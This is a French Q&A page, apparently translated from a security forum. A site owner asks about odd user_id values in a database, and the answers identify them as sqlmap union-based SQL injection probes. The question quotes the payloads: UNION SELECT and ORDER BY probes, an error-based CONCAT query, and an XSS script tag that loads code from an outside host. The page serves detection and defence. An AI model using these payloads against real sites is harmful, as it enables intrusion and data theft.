web-dev-qa-db-fra.com

S'agit-il d'une attaque par injection SQL ou s'agit-il d'une sorte de bogue?

Je regardais quelques données dans notre base de données quand je suis tombé sur un tas de bizarres user_id entrées:

user_id
-1080) ORDER BY 1#
-1149 UNION ALL SELECT 79,79,79,79,79,79,79,79,79#
-1359' UNION ALL SELECT 79,79,79,79,79,79,79,79,79,79-- JwSh
-1409' ORDER BY 2678#
-1480' UNION ALL SELECT 79,79,79#
-1675 UNION ALL SELECT 79,79,79#
-1760 UNION ALL SELECT 79,79,79,79,79,79,79-- znFh
-1817 UNION ALL SELECT 79,79,79,79,79,79#
-1841 UNION ALL SELECT 79,79,79,79,79,79,79,79,79-- WiHF
-2265) UNION ALL SELECT 79,79,79,79,79,79#
-2365 UNION ALL SELECT 79,79,79,79,79,79,79#
-2387%' UNION ALL SELECT 79,79,79,79,79-- PHug
-2535') UNION ALL SELECT 79,79,79,79,79,79#
-2670%' ORDER BY 1#
-2847 ORDER BY 2974-- vCjk
-2922%' UNION ALL SELECT 79,79,79-- PgNW
-3097%' UNION ALL SELECT 79,79,79,79,79,79,79-- vJzG
-3675 UNION ALL SELECT 79,79,79#

Il ne semble pas que quelque chose de malveillant soit tenté, donc une partie de moi pense que cela pourrait avoir été causé par une sorte de bogue, mais là encore, il est plutôt suspect de voir SQL à l'intérieur des entrées de données.

Que pourrait-il essayer de faire?

Voici quelques autres exemples que j'ai trouvés qui peuvent être intéressants:

"><script src=http://xs7x.win/yRjYja></script>JSON #36*
"><script src=http://xs7x.win/yRjYja></script>JSON #98*
(SELECT CONCAT(0x717a627071,(SELECT (ELT(2849=2849,1))),0x716b627871))
69
turnip

Jetez un œil aux attaques SQL "Union Injection" comme celles trouvées ici .

Fondamentalement, il essaie diverses méthodes pour identifier le nombre de colonnes dans la requête, en recherchant une qui réussit. Le order by les lignes tentent de détecter la différence entre les données ordonnées par des colonnes spécifiques et une erreur provoquée par une tentative de classement par une colonne inexistante, tandis que celles select tentent d'obtenir un UNION valide commande to work - cela ne fonctionne que lorsque les deux requêtes combinées dans une union ont le même nombre de colonnes.

D'après les lettres aléatoires à la fin de certaines lignes, il est probable que quelqu'un exécute l'outil sqlmap contre votre formulaire, mais le fait que vous les ayez trouvé dans votre base de données est une bonne chose - cela suggère que la tentative a échoué, même si c'est possible que ce ne sont que des parties ratées d'une attaque réussie.

42
Matthew

C'est le résultat de quelqu'un qui tente d'exploiter une injection SQL sur votre site. Quelqu'un a essayé de détecter si votre site Web était vulnérable à une injection basée sur l'union . Pour tous les enregistrements que vous voyez, cela ne semble pas avoir fonctionné.

Vous devriez vérifier votre accès et vos journaux d'erreurs pour la période affectée pour voir si d'autres demandes ont été faites.

Une chose suspecte que j'ai remarquée est que je ne vois aucune entrée contenant des guillemets doubles (") qui pourrait indiquer qu'ils ont brisé la fonctionnalité du site ou qu'une injection utilisant des guillemets doubles a fonctionné sur votre site.

Vous voudrez peut-être vérifier le code source pertinent pour voir si une désinfection correcte des valeurs des paramètres a été effectuée. Cela peut également être expliqué si une autre partie de votre configuration a bloqué les demandes avec des guillemets doubles ou des injections avec elles n'ont tout simplement pas été tentées.

82
Denis

En plus des bonnes réponses déjà données, déclarant que ce sont probablement des signes de tentatives infructueuses, je voudrais ajouter que ces identifiants peuvent faire partie d'une --- plus élaborée réussie injection.

Ce n'est pas purement théorique. J'ai rencontré des situations où les résultats d'une requête de sélection sont utilisés sans validation d'entrée appropriée dans une deuxième requête. Le développeur peut uniquement valider l'entrée directe de l'utilisateur et (à tort) supposer que tout ce qui provenant de la base de données est sûr. Donc, jusqu'au stockage de ces valeurs d'ID utilisateur, rien ne va mal, mais dans les requêtes suivantes, la magie opère. Les champs entiers se transformant en chaînes sont particulièrement dangereux, car les entiers sont souvent utilisés sans échappement ni guillemets.

Remarque: il est très efficace de consigner/notifier chaque requête défaillante, car il est presque impossible de faire une injection sur un système inconnu sans déclencher au moins quelques erreurs. En dehors de cela, aucune requête ne devrait jamais échouer (comme dans: erreur de syntaxe) dans un système de production.

31
mvds